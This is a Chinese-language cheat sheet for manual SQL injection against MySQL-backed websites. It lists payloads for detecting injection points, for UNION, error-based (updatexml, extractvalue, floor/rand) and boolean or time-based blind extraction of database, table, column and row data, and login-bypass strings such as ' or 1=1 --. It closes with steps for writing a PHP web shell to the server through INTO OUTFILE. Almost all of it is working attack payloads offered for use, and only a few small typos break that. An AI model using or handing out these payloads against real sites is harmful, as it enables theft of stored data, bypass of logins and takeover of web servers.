SQL注入 (一)
一、手工注入
注入点检测
识别方法：通过在url栏输入'、and 1=1、or 1=1、and sleep(1)，如果出现报错，或者页面不一致，则可能存在注入点。
注入类型：整数型、字符型、搜索型、BOOL盲注、时间盲注、HTTP头注入(cookie | user-agent)
PS：需要区分注入类型，比如'、"、')、")、%' 等之类结尾
查询注入(Payload)
猜测列数：order by [数字]
联合查询：union select [数字,数字,...]
常见信息：union select version(),user(),database(),4,5
查数据库：union select schema_name from information_schema.schemata limit 0,1
查询表名：union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1
查询列名：union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1
查表数据：union select [列名1],[列明2],3,4,5 from [表名] limit 0,1
PS：数据库版本version()、登录用户user()、数据库database()
错误回显(Payload)
报错函数：updatexml()、extractvalue()、rand()、group_by()
常见信息：[某种符号] or updatexml(1, concat(0x7e, (select version()), 0x7e, (select user())), 0) %23
查数据库：[某种符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23
查询表名：[某种符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23
查询列名：[某种符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23
查表数据：[某种符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23
将updatexml()替换成extractvalue()时，只需要传2个参数即可。extractvalue(1,([执行的sql]))
在Mysql 5.1以上才存在xpath报错函数，若小于这个版本可以使用group_by() + rand()
默认Payload：[某种符号] and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,([sql语句]))x from information_schema.tables group by x )a) %23
Payload中[sql语句]可以替换成想要获取信息的SQL，语法同上。
盲注 bool | time (Payload)
常用函数：substr()、ascii()、mid()、length()
检测盲注：[某种符号] and 1=2 %23、[某种符号] and sleep(3) %23
常见信息：[某种符号] and substr(user(),1,1)='r' %23、[某种符号] and ascii(mid(version,1,1))=97 %23、[某种符号] and ascii(mid(version(),1,1))=97 and sleep(3) %23
查数据库：
[某种符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23
[某种符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查询列名：
[某种符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23
[某种符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查表数据：
[某种符号] and if((select count([列名]) from [表名])=5, 1=1, 1=2) %23
[某种符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23
[某种符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23
PS：当非bool型时，可以使用sleep(3)代替1=1。灵活使用substr()、ascii()等函数
后台登录万能密码
' or 1=1 --、' or '1'='1、" or 1=1 --
写shell | 一句话
前提条件：
1.user()为root
2.知道web的绝对路径
3.文件路径有写入权限
Payload:
[某种符号] union select '[php代码]' into [关键字] '[绝对路径]' %23
[关键字]：outfile 或者 dumpfile
[某种符号] into outfile '[绝对路径]' [关键字] '[php代码]' %23
[关键字]：lines terminated by 或者 lines starting by 或者 fields terminated by 或者 COLUMNS terminated by
PS：如果写不进shell可以试试Hex编码内容或路径，也可以Hex编码数据库名称或者表名，若SQL执行错误可以在[某种符号]后面加上limit 1试试
